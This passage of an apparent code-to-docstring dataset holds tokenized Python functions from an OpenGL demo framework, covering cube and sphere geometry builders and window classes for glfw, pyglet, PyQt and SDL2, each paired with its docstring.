<NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>,<EOL>], dtype=numpy.float32)<EOL><DEDENT>if uvs:<EOL><INDENT>uvs_data = numpy.array([<EOL><NUM_LIT:1>, <NUM_LIT:0>,<EOL><NUM_LIT:1>, <NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:1>, <NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:1>, <NUM_LIT:0>,<EOL><NUM_LIT:1>, <NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:1>, <NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:1>, <NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:1>, <NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:1>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:1>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:1>,<EOL><NUM_LIT:1>, <NUM_LIT:0>,<EOL><NUM_LIT:1>, <NUM_LIT:1>,<EOL><NUM_LIT:1>, <NUM_LIT:0>,<EOL><NUM_LIT:1>, <NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:1>,<EOL><NUM_LIT:1>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:1>, <NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:1>,<EOL><NUM_LIT:1>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:1>, <NUM_LIT:0><EOL>], dtype=numpy.float32)<EOL><DEDENT>vao = VAO(\"<STR_LIT>\")<EOL>vao.buffer(pos, '<STR_LIT>', ['<STR_LIT>'])<EOL>if normals:<EOL><INDENT>vao.buffer(normal_data, '<STR_LIT>', ['<STR_LIT>'])<EOL><DEDENT>if uvs:<EOL><INDENT>vao.buffer(uvs_data, '<STR_LIT>', ['<STR_LIT>'])<EOL><DEDENT>return vao<EOL>", "docstring": "Creates a cube VAO with normals and texture coordinates\n\nArgs:\n    width (float): Width of the cube\n    height (float): Height of the cube\n    depth (float): Depth of the cube\n\nKeyword Args:\n    center: center of the cube as a 3-component tuple\n    normals: (bool) Include normals\n    uvs: (bool) include uv coordinates\n\nReturns:\n    A :py:class:`demosys.opengl.vao.VAO` instance", "id": "f14474:m0"}
{"signature": "def sphere(radius=<NUM_LIT:0.5>, sectors=<NUM_LIT:32>, rings=<NUM_LIT:16>) -> VAO:", "body": "R = <NUM_LIT:1.0> / (rings - <NUM_LIT:1>)<EOL>S = <NUM_LIT:1.0> / (sectors - <NUM_LIT:1>)<EOL>vertices = [<NUM_LIT:0>] * (rings * sectors * <NUM_LIT:3>)<EOL>normals = [<NUM_LIT:0>] * (rings * sectors * <NUM_LIT:3>)<EOL>uvs = [<NUM_LIT:0>] * (rings * sectors * <NUM_LIT:2>)<EOL>v, n, t = <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0><EOL>for r in range(rings):<EOL><INDENT>for s in range(sectors):<EOL><INDENT>y = math.sin(-math.pi / <NUM_LIT:2> + math.pi * r * R)<EOL>x = math.cos(<NUM_LIT:2> * math.pi * s * S) * math.sin(math.pi * r * R)<EOL>z = math.sin(<NUM_LIT:2> * math.pi * s * S) * math.sin(math.pi * r * R)<EOL>uvs[t] = s * S<EOL>uvs[t + <NUM_LIT:1>] = r * R<EOL>vertices[v] = x * radius<EOL>vertices[v + <NUM_LIT:1>] = y * radius<EOL>vertices[v + <NUM_LIT:2>] = z * radius<EOL>normals[n] = x<EOL>normals[n + <NUM_LIT:1>] = y<EOL>normals[n + <NUM_LIT:2>] = z<EOL>t += <NUM_LIT:2><EOL>v += <NUM_LIT:3><EOL>n += <NUM_LIT:3><EOL><DEDENT><DEDENT>indices = [<NUM_LIT:0>] * rings * sectors * <NUM_LIT:6><EOL>i = <NUM_LIT:0><EOL>for r in range(rings - <NUM_LIT:1>):<EOL><INDENT>for s in range(sectors - <NUM_LIT:1>):<EOL><INDENT>indices[i] = r * sectors + s<EOL>indices[i + <NUM_LIT:1>] = (r + <NUM_LIT:1>) * sectors + (s + <NUM_LIT:1>)<EOL>indices[i + <NUM_LIT:2>] = r * sectors + (s + <NUM_LIT:1>)<EOL>indices[i + <NUM_LIT:3>] = r * sectors + s<EOL>indices[i + <NUM_LIT:4>] = (r + <NUM_LIT:1>) * sectors + s<EOL>indices[i + <NUM_LIT:5>] = (r + <NUM_LIT:1>) * sectors + (s + <NUM_LIT:1>)<EOL>i += <NUM_LIT:6><EOL><DEDENT><DEDENT>vbo_vertices = numpy.array(vertices, dtype=numpy.float32)<EOL>vbo_normals = numpy.array(normals, dtype=numpy.float32)<EOL>vbo_uvs = numpy.array(uvs, dtype=numpy.float32)<EOL>vbo_elements = numpy.array(indices, dtype=numpy.uint32)<EOL>vao = VAO(\"<STR_LIT>\", mode=mlg.TRIANGLES)<EOL>vao.buffer(vbo_vertices, '<STR_LIT>', ['<STR_LIT>'])<EOL>vao.buffer(vbo_normals, '<STR_LIT>', ['<STR_LIT>'])<EOL>vao.buffer(vbo_uvs, '<STR_LIT>', ['<STR_LIT>'])<EOL>vao.index_buffer(vbo_elements, index_element_size=<NUM_LIT:4>)<EOL>return vao<EOL>", "docstring": "Creates a sphere.\n\nKeyword Args:\n    radius (float): Radius or the sphere\n    rings (int): number or horizontal rings\n    sectors (int): number of vertical segments\n\nReturns:\n    A :py:class:`demosys.opengl.vao.VAO` instance", "id": "f14475:m0"}
{"signature": "def __init__(self):", "body": "super().__init__()<EOL>if not glfw.init():<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.check_glfw_version()<EOL>glfw.window_hint(glfw.CONTEXT_VERSION_MAJOR, self.gl_version.major)<EOL>glfw.window_hint(glfw.CONTEXT_VERSION_MINOR, self.gl_version.minor)<EOL>glfw.window_hint(glfw.OPENGL_PROFILE, glfw.OPENGL_CORE_PROFILE)<EOL>glfw.window_hint(glfw.OPENGL_FORWARD_COMPAT, True)<EOL>glfw.window_hint(glfw.RESIZABLE, self.resizable)<EOL>glfw.window_hint(glfw.DOUBLEBUFFER, True)<EOL>glfw.window_hint(glfw.DEPTH_BITS, <NUM_LIT>)<EOL>glfw.window_hint(glfw.SAMPLES, self.samples)<EOL>monitor = None<EOL>if self.fullscreen:<EOL><INDENT>monitor = glfw.get_primary_monitor()<EOL>mode = glfw.get_video_mode(monitor)<EOL>self.width, self.height = mode.size.width, mode.size.height<EOL>print(\"<STR_LIT>\", mode)<EOL><DEDENT>print(\"<STR_LIT>\", self.width, self.height)<EOL>self.window = glfw.create_window(self.width, self.height, self.title, monitor, None)<EOL>if not self.window:<EOL><INDENT>glfw.terminate()<EOL>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not self.cursor:<EOL><INDENT>glfw.set_input_mode(self.window, glfw.CURSOR, glfw.CURSOR_DISABLED)<EOL><DEDENT>self.buffer_width, self.buffer_height = glfw.get_framebuffer_size(self.window)<EOL>print(\"<STR_LIT>\", self.buffer_width, self.buffer_height)<EOL>print(\"<STR_LIT>\", glfw.get_window_size(self.window))<EOL>glfw.make_context_current(self.window)<EOL>if self.vsync:<EOL><INDENT>glfw.swap_interval(<NUM_LIT:1>)<EOL><DEDENT>glfw.set_key_callback(self.window, self.key_event_callback)<EOL>glfw.set_cursor_pos_callback(self.window, self.mouse_event_callback)<EOL>glfw.set_window_size_callback(self.window, self.window_resize_callback)<EOL>self.ctx = moderngl.create_context(require=self.gl_version.code)<EOL>context.WINDOW = self<EOL>self.fbo = self.ctx.screen<EOL>self.set_default_viewport()<EOL>", "docstring": "Initializes glfw, sets up key and mouse events and\ncreates a ``moderngl.Context`` using the context glfw createad.\n\nUsing the glfw window requires glfw binaries and pyGLFW.", "id": "f14477:c0:m0"}
{"signature": "def use(self):", "body": "self.fbo.use()<EOL>", "docstring": "Bind the window framebuffer making it the current render target", "id": "f14477:c0:m1"}
{"signature": "def should_close(self):", "body": "return glfw.window_should_close(self.window)<EOL>", "docstring": "Ask glfw is the window should be closed", "id": "f14477:c0:m2"}
{"signature": "def close(self):", "body": "glfw.set_window_should_close(self.window, True)<EOL>", "docstring": "Set the window closing state in glfw", "id": "f14477:c0:m3"}
{"signature": "def swap_buffers(self):", "body": "self.frames += <NUM_LIT:1><EOL>glfw.swap_buffers(self.window)<EOL>self.poll_events()<EOL>", "docstring": "Swaps buffers, incement the framecounter and pull events.", "id": "f14477:c0:m4"}
{"signature": "def resize(self, width, height):", "body": "self.width = width<EOL>self.height = height<EOL>self.buffer_width, self.buffer_height = glfw.get_framebuffer_size(self.window)<EOL>self.set_default_viewport()<EOL>", "docstring": "Sets the new size and buffer size internally", "id": "f14477:c0:m5"}
{"signature": "def terminate(self):", "body": "glfw.terminate()<EOL>", "docstring": "Terminates the glfw library", "id": "f14477:c0:m6"}
{"signature": "def poll_events(self):", "body": "glfw.poll_events()<EOL>", "docstring": "Poll events from glfw", "id": "f14477:c0:m7"}
{"signature": "def check_glfw_version(self):", "body": "print(\"<STR_LIT>\".format(glfw.get_version(), glfw.__version__))<EOL>if glfw.get_version() < self.min_glfw_version:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(self.min_glfw_version))<EOL><DEDENT>", "docstring": "Ensure glfw library  version is compatible", "id": "f14477:c0:m8"}
{"signature": "def key_event_callback(self, window, key, scancode, action, mods):", "body": "self.keyboard_event(key, action, mods)<EOL>", "docstring": "Key event callback for glfw.\nTranslates and forwards keyboard event to :py:func:`keyboard_event`\n\n:param window: Window event origin\n:param key: The key that was pressed or released.\n:param scancode: The system-specific scancode of the key.\n:param action: GLFW_PRESS, GLFW_RELEASE or GLFW_REPEAT\n:param mods: Bit field describing which modifier keys were held down.", "id": "f14477:c0:m9"}
{"signature": "def mouse_event_callback(self, window, xpos, ypos):", "body": "<EOL>self.cursor_event(xpos, ypos, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>", "docstring": "Mouse event callback from glfw.\nTranslates the events forwarding them to :py:func:`cursor_event`.\n\n:param window: The window\n:param xpos: viewport x pos\n:param ypos: viewport y pos", "id": "f14477:c0:m10"}
{"signature": "def window_resize_callback(self, window, width, height):", "body": "self.resize(width, height)<EOL>", "docstring": "Window resize callback for glfw\n\n:param window: The window\n:param width: New width\n:param height: New height", "id": "f14477:c0:m11"}
{"signature": "def __init__(self):", "body": "super().__init__()<EOL>pyglet.options['<STR_LIT>'] = False<EOL>config = pyglet.gl.Config()<EOL>config.double_buffer = True<EOL>config.major_version = self.gl_version.major<EOL>config.minor_version = self.gl_version.minor<EOL>config.forward_compatible = True<EOL>config.sample_buffers = <NUM_LIT:1> if self.samples > <NUM_LIT:1> else <NUM_LIT:0><EOL>config.samples = self.samples<EOL>self.window = PygletWrapper(<EOL>width=self.width, height=self.height,<EOL>caption=self.title,<EOL>resizable=self.resizable,<EOL>vsync=self.vsync,<EOL>fullscreen=self.fullscreen,<EOL>)<EOL>self.window.set_mouse_visible(self.cursor)<EOL>self.window.event(self.on_key_press)<EOL>self.window.event(self.on_key_release)<EOL>self.window.event(self.on_mouse_motion)<EOL>self.window.event(self.on_resize)<EOL>self.ctx = moderngl.create_context(require=self.gl_version.code)<EOL>context.WINDOW = self<EOL>self.fbo = self.ctx.screen<EOL>self.set_default_viewport()<EOL>", "docstring": "Opens a window using pyglet, registers input callbacks\nand creates a moderngl context.", "id": "f14480:c0:m0"}
{"signature": "def on_key_press(self, symbol, modifiers):", "body": "self.keyboard_event(symbol, self.keys.ACTION_PRESS, modifiers)<EOL>", "docstring": "Pyglet specific key press callback.\nForwards and translates the events to :py:func:`keyboard_event`", "id": "f14480:c0:m1"}
{"signature": "def on_key_release(self, symbol, modifiers):", "body": "self.keyboard_event(symbol, self.keys.ACTION_RELEASE, modifiers)<EOL>", "docstring": "Pyglet specific key release callback.\nForwards and translates the events to :py:func:`keyboard_event`", "id": "f14480:c0:m2"}
{"signature": "def on_mouse_motion(self, x, y, dx, dy):", "body": "<EOL>self.cursor_event(x, self.buffer_height - y, dx, dy)<EOL>", "docstring": "Pyglet specific mouse motion callback.\nForwards and traslates the event to :py:func:`cursor_event`", "id": "f14480:c0:m3"}
{"signature": "def on_resize(self, width, height):", "body": "self.width, self.height = width, height<EOL>self.buffer_width, self.buffer_height = width, height<EOL>self.resize(width, height)<EOL>", "docstring": "Pyglet specific callback for window resize events.", "id": "f14480:c0:m4"}
{"signature": "def use(self):", "body": "self.fbo.use()<EOL>", "docstring": "Render to this window", "id": "f14480:c0:m5"}
{"signature": "def swap_buffers(self):", "body": "if not self.window.context:<EOL><INDENT>return<EOL><DEDENT>self.frames += <NUM_LIT:1><EOL>self.window.flip()<EOL>self.window.dispatch_events()<EOL>", "docstring": "Swap buffers, increment frame counter and pull events", "id": "f14480:c0:m6"}
{"signature": "def should_close(self) -> bool:", "body": "return self.window.has_exit<EOL>", "docstring": "returns the ``has_exit`` state in the pyglet window", "id": "f14480:c0:m7"}
{"signature": "def close(self):", "body": "self.window.close()<EOL>", "docstring": "Sets the close state in the pyglet window", "id": "f14480:c0:m8"}
{"signature": "def terminate(self):", "body": "pass<EOL>", "docstring": "No cleanup is really needed. Empty method", "id": "f14480:c0:m9"}
{"signature": "def on_resize(self, width, height):", "body": "pass<EOL>", "docstring": "For some reason pyglet calls its own resize handler randomly", "id": "f14480:c1:m0"}
{"signature": "def __init__(self):", "body": "super().__init__()<EOL>self._closed = False<EOL>gl = QtOpenGL.QGLFormat()<EOL>gl.setVersion(self.gl_version.major, self.gl_version.minor)<EOL>gl.setProfile(QtOpenGL.QGLFormat.CoreProfile)<EOL>gl.setDepthBufferSize(<NUM_LIT>)<EOL>gl.setDoubleBuffer(True)<EOL>gl.setSwapInterval(<NUM_LIT:1> if self.vsync else <NUM_LIT:0>)<EOL>if self.samples > <NUM_LIT:1>:<EOL><INDENT>gl.setSampleBuffers(True)<EOL>gl.setSamples(self.samples)<EOL><DEDENT>self.app = QtWidgets.QApplication([])<EOL>self.widget = QtOpenGL.QGLWidget(gl)<EOL>self.widget.setWindowTitle(self.title)<EOL>if self.fullscreen:<EOL><INDENT>rect = QtWidgets.QDesktopWidget().screenGeometry()<EOL>self.width = rect.width()<EOL>self.height = rect.height()<EOL>self.buffer_width = rect.width() * self.widget.devicePixelRatio()<EOL>self.buffer_height = rect.height() * self.widget.devicePixelRatio()<EOL><DEDENT>if self.resizable:<EOL><INDENT>size_policy = QtWidgets.QSizePolicy(<EOL>QtWidgets.QSizePolicy.Expanding,<EOL>QtWidgets.QSizePolicy.Expanding,<EOL>)<EOL>self.widget.setSizePolicy(size_policy)<EOL>self.widget.resize(self.width, self.height)<EOL><DEDENT>else:<EOL><INDENT>self.widget.setFixedSize(self.width, self.height)<EOL><DEDENT>self.widget.move(QtWidgets.QDesktopWidget().rect().center() - self.widget.rect().center())<EOL>self.widget.resizeGL = self.resize  <EOL>self.widget.show()<EOL>if not self.cursor:<EOL><INDENT>self.widget.setCursor(QtCore.Qt.BlankCursor)<EOL><DEDENT>if self.fullscreen:<EOL><INDENT>self.widget.showFullScreen()<EOL><DEDENT>self.widget.setMouseTracking(True)<EOL>self.widget.keyPressEvent = self.keyPressEvent<EOL>self.widget.keyReleaseEvent = self.keyReleaseEvent<EOL>self.widget.mouseMoveEvent = self.mouseMoveEvent<EOL>self.ctx = moderngl.create_context(require=self.gl_version.code)<EOL>context.WINDOW = self<EOL>self.fbo = self.ctx.screen<EOL>self.buffer_width = self.width * self.widget.devicePixelRatio()<EOL>self.buffer_height = self.height * self.widget.devicePixelRatio()<EOL>self.set_default_viewport()<EOL>", "docstring": "Creates a pyqt application and window overriding the\nbuilt in event loop. Sets up keyboard and mouse events\nand creates a ``monderngl.Context``.", "id": "f14482:c0:m0"}
{"signature": "def keyPressEvent(self, event):", "body": "self.keyboard_event(event.key(), self.keys.ACTION_PRESS, <NUM_LIT:0>)<EOL>", "docstring": "Pyqt specific key press callback function.\nTranslates and forwards events to :py:func:`keyboard_event`.", "id": "f14482:c0:m1"}
{"signature": "def keyReleaseEvent(self, event):", "body": "self.keyboard_event(event.key(), self.keys.ACTION_RELEASE, <NUM_LIT:0>)<EOL>", "docstring": "Pyqt specific key release callback function.\nTranslates and forwards events to :py:func:`keyboard_event`.", "id": "f14482:c0:m2"}
{"signature": "def mouseMoveEvent(self, event):", "body": "self.cursor_event(event.x(), event.y(), <NUM_LIT:0>, <NUM_LIT:0>)<EOL>", "docstring": "Pyqt specific mouse event callback\nTranslates and forwards events to :py:func:`cursor_event`.", "id": "f14482:c0:m3"}
{"signature": "def resize(self, width, height):", "body": "if not self.fbo:<EOL><INDENT>return<EOL><DEDENT>self.width = width // self.widget.devicePixelRatio()<EOL>self.height = height // self.widget.devicePixelRatio()<EOL>self.buffer_width = width<EOL>self.buffer_height = height<EOL>super().resize(width, height)<EOL>", "docstring": "Pyqt specific resize callback.", "id": "f14482:c0:m4"}
{"signature": "def swap_buffers(self):", "body": "self.frames += <NUM_LIT:1><EOL>self.widget.swapBuffers()<EOL>self.app.processEvents()<EOL>", "docstring": "Swaps buffers, increments the frame counter and pulls events", "id": "f14482:c0:m5"}
{"signature": "def use(self):", "body": "self.fbo.use()<EOL>", "docstring": "Make the window's framebuffer the current render target", "id": "f14482:c0:m6"}
{"signature": "def should_close(self) -> bool:", "body": "return self._closed<EOL>", "docstring": "Checks if the internal close state is set", "id": "f14482:c0:m7"}
{"signature": "def close(self):", "body": "self._closed = True<EOL>", "docstring": "Set the internal close state", "id": "f14482:c0:m8"}
{"signature": "def terminate(self):", "body": "QtCore.QCoreApplication.instance().quit()<EOL>", "docstring": "Quits the running qt application", "id": "f14482:c0:m9"}
{"signature": "def __init__(self):", "body": "super().__init__()<EOL>self.window_closing = False<EOL>self.tmp_size_x = c_int()<EOL>self.tmp_size_y = c_int()<EOL>print(\"<STR_LIT>\", self.get_library_version())<EOL>if sdl2.SDL_Init(sdl2.SDL_INIT_VIDEO) != <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>sdl2.video.SDL_GL_SetAttribute(sdl2.SDL_GL_CONTEXT_MAJOR_VERSION, self.gl_version.major)<EOL>sdl2.video.SDL_GL_SetAttribute(sdl2.SDL_GL_CONTEXT_MINOR_VERSION, self.gl_version.minor)<EOL>sdl2.video.SDL_GL_SetAttribute(sdl2.SDL_GL_CONTEXT_PROFILE_MASK, sdl2.SDL_GL_CONTEXT_PROFILE_CORE)<EOL>sdl2.video.SDL_GL_SetAttribute(sdl2.SDL_GL_CONTEXT_FORWARD_COMPATIBLE_FLAG, <NUM_LIT:1>)<EOL>sdl2.video.SDL_GL_SetAttribute(sdl2.SDL_GL_DOUBLEBUFFER, <NUM_LIT:1>)<EOL>sdl2.video.SDL_GL_SetAttribute(sdl2.SDL_GL_DEPTH_SIZE, <NUM_LIT>)<EOL>sdl2.SDL_ShowCursor(sdl2.SDL_ENABLE if self.cursor else sdl2.SDL_DISABLE)<EOL>if self.samples > <NUM_LIT:1>:<EOL><INDENT>sdl2.video.SDL_GL_SetAttribute(sdl2.SDL_GL_MULTISAMPLEBUFFERS, <NUM_LIT:1>)<EOL>sdl2.video.SDL_GL_SetAttribute(sdl2.SDL_GL_MULTISAMPLESAMPLES, self.samples)<EOL><DEDENT>flags = sdl2.SDL_WINDOW_OPENGL<EOL>if self.fullscreen:<EOL><INDENT>flags |= sdl2.SDL_WINDOW_FULLSCREEN_DESKTOP<EOL><DEDENT>else:<EOL><INDENT>if self.resizable:<EOL><INDENT>flags |= sdl2.SDL_WINDOW_RESIZABLE<EOL><DEDENT><DEDENT>self.window = sdl2.SDL_CreateWindow(<EOL>self.title.encode(),<EOL>sdl2.SDL_WINDOWPOS_UNDEFINED,<EOL>sdl2.SDL_WINDOWPOS_UNDEFINED,<EOL>self.width,<EOL>self.height,<EOL>flags<EOL>)<EOL>if not self.window:<EOL><INDENT>raise ValueError(\"<STR_LIT>\", sdl2.SDL_GetError())<EOL><DEDENT>self.context = sdl2.SDL_GL_CreateContext(self.window)<EOL>sdl2.video.SDL_GL_SetSwapInterval(<NUM_LIT:1> if self.vsync else <NUM_LIT:0>)<EOL>self.ctx = moderngl.create_context(require=self.gl_version.code)<EOL>context.WINDOW = self<EOL>self.fbo = self.ctx.screen<EOL>self.set_default_viewport()<EOL>", "docstring": "Initializes sdl2, sets up key and mouse events and\ncreates a ``moderngl.Context`` using the context sdl2 createad.\n\nUsing the sdl2 window requires sdl binaries and PySDL2.", "id": "f14484:c0:m0"}
{"signature": "def use(self):", "body": "self.fbo.use()<EOL>", "docstring": "Bind the window framebuffer making it the current render target", "id": "f14484:c0:m1"}
{"signature": "def resize(self, width, height):", "body": "self.width = width<EOL>self.height = height<EOL>self.buffer_width, self.buffer_height = self.width, self.height<EOL>self.set_default_viewport()<EOL>", "docstring": "Sets the new size and buffer size internally", "id": "f14484:c0:m3"}
{"signature": "def __init__(self):", "body": "self.frames = <NUM_LIT:0><EOL>self.width = settings.WINDOW['<STR_LIT:size>'][<NUM_LIT:0>]<EOL>self.height = settings.WINDOW['<STR_LIT:size>'][<NUM_LIT:1>]<EOL>self.buffer_width = self.width<EOL>self.buffer_height = self.height<EOL>self.fbo = None<EOL>self.sys_camera = None<EOL>self.timer = None<EOL>self.timeline = None<EOL>self.gl_version = GLVersion(<EOL>*settings.OPENGL['<STR_LIT:version>'],<EOL>int(\"<STR_LIT>\".format(*settings.OPENGL['<STR_LIT:version>']))<EOL>)<EOL>self.title = settings.WINDOW.get('<STR_LIT:title>') or \"<STR_LIT>\"<EOL>self.aspect_ratio = settings.WINDOW.get('<STR_LIT>', <NUM_LIT:16> / <NUM_LIT:9>)<EOL>self.samples = settings.WINDOW.get('<STR_LIT>', <NUM_LIT:0>)<EOL>self.resizable = settings.WINDOW.get('<STR_LIT>') or False<EOL>self.fullscreen = settings.WINDOW.get('<STR_LIT>')<EOL>self.vsync = settings.WINDOW.get('<STR_LIT>')<EOL>self.cursor = settings.WINDOW.get('<STR_LIT>')<EOL>self.clear_color = (<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>)<EOL>self.clear_depth = (<NUM_LIT:1.0>)<EOL>self.ctx = None<EOL>", "docstring": "Base window intializer reading values from ``settings``.\n\nWhen creating the initializer in your own window always call\nthis methods using ``super().__init__()``.\n\nThe main responsebility of the initializer is to:\n\n* initialize the window library\n* identify the window framebuffer\n* set up keyboard and mouse events\n* create the ``moderngl.Context`` instance\n* register the window in ``context.WINDOW``", "id": "f14485:c1:m0"}
{"signature": "@property<EOL><INDENT>def size(self) -> Tuple[int, int]:<DEDENT>", "body": "return (self.width, self.height)<EOL>", "docstring": "(width, height) tuple containing the window size.\n\nNote that for certain displays we rely on :py:func:`buffer_size`\nto get the actual window buffer size. This is fairly common\nfor retina and 4k displays where the UI scale is > 1.0", "id": "f14485:c1:m1"}
{"signature": "@property<EOL><INDENT>def buffer_size(self) -> Tuple[int, int]:<DEDENT>", "body": "return (self.buffer_width, self.buffer_height)<EOL>", "docstring": "(width, heigh) buffer size of the window.\n\nThis is the actual buffer size of the window\ntaking UI scale into account. A 1920 x 1080\nwindow running in an environment with UI scale 2.0\nwould have a 3840 x 2160 window buffer.", "id": "f14485:c1:m2"}
{"signature": "def draw(self, current_time, frame_time):", "body": "self.set_default_viewport()<EOL>self.timeline.draw(current_time, frame_time, self.fbo)<EOL>", "docstring": "Draws a frame. Internally it calls the\nconfigured timeline's draw method.\n\nArgs:\n    current_time (float): The current time (preferrably always from the configured timer class)\n    frame_time (float): The duration of the previous frame in seconds", "id": "f14485:c1:m3"}
{"signature": "def clear(self):", "body": "self.ctx.fbo.clear(<EOL>red=self.clear_color[<NUM_LIT:0>],<EOL>green=self.clear_color[<NUM_LIT:1>],<EOL>blue=self.clear_color[<NUM_LIT:2>],<EOL>alpha=self.clear_color[<NUM_LIT:3>],<EOL>depth=self.clear_depth,<EOL>)<EOL>", "docstring": "Clear the window buffer", "id": "f14485:c1:m4"}
{"signature": "def clear_values(self, red=<NUM_LIT:0.0>, green=<NUM_LIT:0.0>, blue=<NUM_LIT:0.0>, alpha=<NUM_LIT:0.0>, depth=<NUM_LIT:1.0>):", "body": "self.clear_color = (red, green, blue, alpha)<EOL>self.clear_depth = depth<EOL>", "docstring": "Sets the clear values for the window buffer.\n\nArgs:\n    red (float): red compoent\n    green (float): green compoent\n    blue (float): blue compoent\n    alpha (float): alpha compoent\n    depth (float): depth value", "id": "f14485:c1:m5"}
{"signature": "def use(self):", "body": "raise NotImplementedError(\"<STR_LIT>\".format(self.__class__))<EOL>", "docstring": "Set the window buffer as the current render target\n\nRaises:\n    NotImplementedError", "id": "f14485:c1:m6"}
{"signature": "def swap_buffers(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Swap the buffers. Most windows have at least support for double buffering\ncycling a back and front buffer.\n\nRaises:\n    NotImplementedError", "id": "f14485:c1:m7"}
{"signature": "def resize(self, width, height):", "body": "self.set_default_viewport()<EOL>", "docstring": "Resize the window. Should normallty be overriden\nwhen implementing a window as most window libraries need additional logic here.\n\nArgs:\n    width (int): Width of the window\n    height: (int): Height of the window", "id": "f14485:c1:m8"}
{"signature": "def close(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Set the window in close state. This doesn't actually close the window,\nbut should make :py:func:`should_close` return ``True`` so the\nmain loop can exit gracefully.\n\nRaises:\n    NotImplementedError", "id": "f14485:c1:m9"}
{"signature": "def should_close(self) -> bool:", "body": "raise NotImplementedError()<EOL>", "docstring": "Check if window should close. This should always be checked in the main draw loop.\n\nRaises:\n    NotImplementedError", "id": "f14485:c1:m10"}
{"signature": "def terminate(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "The actual teardown of the window.\n\nRaises:\n    NotImplementedError", "id": "f14485:c1:m11"}
{"signature": "def keyboard_event(self, key, action, modifier):", "body": "<EOL>if key == self.keys.ESCAPE:<EOL><INDENT>self.close()<EOL>return<EOL><DEDENT>if key == self.keys.SPACE and action == self.keys.ACTION_PRESS:<EOL><INDENT>self.timer.toggle_pause()<EOL><DEDENT>if key == self.keys.D:<EOL><INDENT>if action == self.keys.ACTION_PRESS:<EOL><INDENT>self.sys_camera.move_right(True)<EOL><DEDENT>elif action == self.keys.ACTION_RELEASE:<EOL><INDENT>self.sys_camera.move_right(False)<EOL><DEDENT><DEDENT>elif key == self.keys.A:<EOL><INDENT>if action == self.keys.ACTION_PRESS:<EOL><INDENT>self.sys_camera.move_left(True)<EOL><DEDENT>elif action == self.keys.ACTION_RELEASE:<EOL><INDENT>self.sys_camera.move_left(False)<EOL><DEDENT><DEDENT>elif key == self.keys.W:<EOL><INDENT>if action == self.keys.ACTION_PRESS:<EOL><INDENT>self.sys_camera.move_forward(True)<EOL><DEDENT>if action == self.keys.ACTION_RELEASE:<EOL><INDENT>self.sys_camera.move_forward(False)<EOL><DEDENT><DEDENT>elif key == self.keys.S:<EOL><INDENT>if action == self.keys.ACTION_PRESS:<EOL><INDENT>self.sys_camera.move_backward(True)<EOL><DEDENT>if action == self.keys.ACTION_RELEASE:<EOL><INDENT>self.sys_camera.move_backward(False)<EOL><DEDENT><DEDENT>elif key == self.keys.Q:<EOL><INDENT>if action == self.keys.ACTION_PRESS:<EOL><INDENT>self.sys_camera.move_down(True)<EOL><DEDENT>if action == self.keys.ACTION_RELEASE:<EOL><INDENT>self.sys_camera.move_down(False)<EOL><DEDENT><DEDENT>elif key == self.keys.E:<EOL><INDENT>if action == self.keys.ACTION_PRESS:<EOL><INDENT>self.sys_camera.move_up(True)<EOL><DEDENT>if action == self.keys.ACTION_RELEASE:<EOL><INDENT>self.sys_camera.move_up(False)<EOL><DEDENT><DEDENT>if key == self.keys.X and action == self.keys.ACTION_PRESS:<EOL><INDENT>screenshot.create()<EOL><DEDENT>if key == self.keys.R and action == self.keys.ACTION_PRESS:<EOL><INDENT>project.instance.reload_programs()<EOL><DEDENT>if key == self.keys.RIGHT and action == self.keys.ACTION_PRESS:<EOL><INDENT>self.timer.set_time(self.timer.get_time() + <NUM_LIT>)<EOL><DEDENT>if key == self.keys.LEFT and action == self.keys.ACTION_PRESS:<EOL><INDENT>self.timer.set_time(self.timer.get_time() - <NUM_LIT>)<EOL><DEDENT>self.timeline.key_event(key, action, modifier)<EOL>", "docstring": "Handles the standard keyboard events such as camera movements,\ntaking a screenshot, closing the window etc.\n\nCan be overriden add new keyboard events. Ensure this method\nis also called if you want to keep the standard features.\n\nArguments:\n    key: The key that was pressed or released\n    action: The key action. Can be `ACTION_PRESS` or `ACTION_RELEASE`\n    modifier: Modifiers such as holding shift or ctrl", "id": "f14485:c1:m12"}
